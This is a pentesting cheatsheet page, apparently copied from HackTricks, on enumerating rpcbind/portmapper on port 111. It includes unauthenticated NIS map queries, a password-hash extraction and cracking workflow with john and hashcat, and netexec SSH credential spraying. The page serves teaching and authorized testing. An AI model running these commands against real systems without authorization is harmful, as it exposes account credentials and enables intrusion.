repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
pentesting-rpcbind.mdMarkdown190 lines9.8 KiBsource raw download

title: "111/TCP/UDP - Pentesting Portmapper" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-rpcbind.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-rpcbind.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

111/TCP/UDP - Pentesting Portmapper#

Basic Information#

rpcbind (historically portmapper) maps ONC RPC program/version numbers to the transport addresses on which their services listen. Enumerating it can reveal NFS, NIS/YP, mountd, rusersd, and vendor-specific RPC programs, although the program list alone does not reliably identify the operating-system version.[4]

Default port: 111/TCP and 111/UDP. Individual RPC programs may use fixed or dynamically assigned high ports; do not treat a historical Solaris high port such as 32771 as a universal rpcbind default.[4]

PORT    STATE SERVICE
111/tcp open  rpcbind

Enumeration#

rpcinfo -p irked.htb
nmap -sSUC -p111 192.168.10.1

Sometimes it doesn't give you any information, in other occasions you will get something like this:

111/TCP/UDP - Pentesting Portmapper - Enumeration: Sometimes it doesn't give you any information, in other occasions you will get something like this

Advanced rpcinfo usage#

Leverage rpcinfo -T udp -p <target> to pull the UDP program list even when TCP/111 is filtered, then immediately run showmount -e <target> to spot world-readable NFS exports registered through rpcbind.

rpcinfo -T udp -p 10.10.10.10
showmount -e 10.10.10.10

Exhaustive mapping with Nmap NSE#

Pair the classic scan with nmap --script=rpcinfo,rpc-grind -p111 <target> to brute-force RPC program numbers. rpc-grind hammers the portmapper with null calls that walk the nmap-rpc database, extracting supported versions whenever the remote daemon replies with "can't support version," which often reveals quietly registered services such as rusersd, rquotad or custom daemons. Multi-threading via --script-args 'rpc-grind.threads=8' speeds up large targets while the companion rpcinfo script prints human-readable tables you can diff against host baselines.[1]

Shodan#

RPCBind + NFS#

If you find the service NFS then probably you will be able to list and download(and maybe upload) files:

Shodan - RPCBind + NFS: If you find the service NFS then probably you will be able to list and download(and maybe upload) files

Read 2049 - Pentesting NFS service to learn more about how to test this protocol.

NIS / YP#

NIS (also called YP / Yellow Pages) frequently appears behind rpcbind as ypbind, ypserv, or yppasswdd. On a compromised Unix/Linux host, first verify whether identities are being resolved from NIS before talking directly to the server.[2]

RPCBind + NFS - NIS: Exploring NIS vulnerabilities involves a two-step process, starting with the identification of the service ypbind. The cornerstone of this exploration is uncovering...

Detect NIS-backed accounts from a client#

grep -nE '^\+' /etc/passwd /etc/group 2>/dev/null
grep -E '^(passwd|group|shadow|hosts|services|netgroup|rpc):' /etc/nsswitch.conf
domainname
ypwhich
rpcinfo -p <target> | egrep 'ypbind|ypserv|yppasswdd'

Query maps without authentication#

Many legacy NIS deployments still allow unauthenticated map queries from any reachable client. Try both direct YP queries and NSS lookups from an enrolled machine:

# Directly query a specific NIS domain/server
ypcat -d <nis-domain> -h <nis-server> passwd
ypcat -d <nis-domain> -h <nis-server> passwd.byname
ypcat -d <nis-domain> -h <nis-server> passwd.byuid
ypcat -d <nis-domain> -h <nis-server> group.byname
ypcat -d <nis-domain> -h <nis-server> hosts.byname
ypcat -d <nis-domain> -h <nis-server> netgroup

# Query through NSS from a joined client
getent passwd
getent group

The returned records can expose usernames, UIDs, GIDs, comments/GECOS fields, home directories, login shells, hosts, and netgroup memberships.

Password-hash extraction and cracking workflow#

In insecure environments the passwd maps can expose password hashes directly:

ypcat -d <nis-domain> -h <nis-server> passwd.byname | tee nis-passwd.txt
cut -d: -f1,2 nis-passwd.txt | grep -vE '^[^:]+:[x*!]*$' > nis-hashes.txt

# Quick format triage
grep ':\$1\$' nis-hashes.txt   # MD5Crypt
grep ':\$5\$' nis-hashes.txt   # SHA256Crypt
grep ':\$6\$' nis-hashes.txt   # SHA512Crypt

john --format=md5crypt nis-hashes.txt
hashcat --username -m 500 nis-hashes.txt <wordlist>
hashcat --username -m 7400 nis-hashes.txt <wordlist>  # $5$ SHA256Crypt
hashcat --username -m 1800 nis-hashes.txt <wordlist>  # $6$ SHA512Crypt
netexec ssh hosts.txt -u <user> -p '<password>'

Useful NIS master files / maps#

Master file Map(s) Notes
/etc/passwd passwd.byname, passwd.byuid Usernames, shells, home dirs, maybe hash
/etc/group group.byname, group.bygid Group memberships
/etc/hosts hosts.byname, hosts.byaddr Hostnames and IPs
/etc/netgroup netgroup Netgroup-based trust / access rules
/etc/services services.byname Service name mappings
/etc/rpc rpc.bynumber RPC service mappings
/usr/lib/aliases mail.aliases Mail aliases

RPC Users#

If you find the rusersd service listed like this:

NIF files - RPC Users: If you find the rusersd service listed like this

You could enumerate users of the box. To learn how read 1026 - Pentesting Rsusersd.

Bypass Filtered Portmapper port#

For NFSv2/v3, client tools often need rpcbind plus auxiliary services such as mountd; if port 111 is filtered but those discovered service ports are reachable through a pivot, a local rpcbind shim and port forwards can make standard clients usable.[3] NFSv4 normally uses TCP/2049 directly, so first determine the negotiated NFS version before building this workaround.

Labs to practice#

HackTricks Automatic Commands#

Protocol_Name: Portmapper    #Protocol Abbreviation if there is one.
Port_Number:  111
Protocol_Description: PM or RPCBind        #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for PortMapper
  Note: |
    Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.

    https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html

Entry_2:
  Name: rpc info
  Description: May give netstat-type info
  Command: rpcinfo -p {IP}

Entry_3:
  Name: nmap
  Description: May give netstat-type info
  Command: nmap -sSUC -p 111 {IP}

References#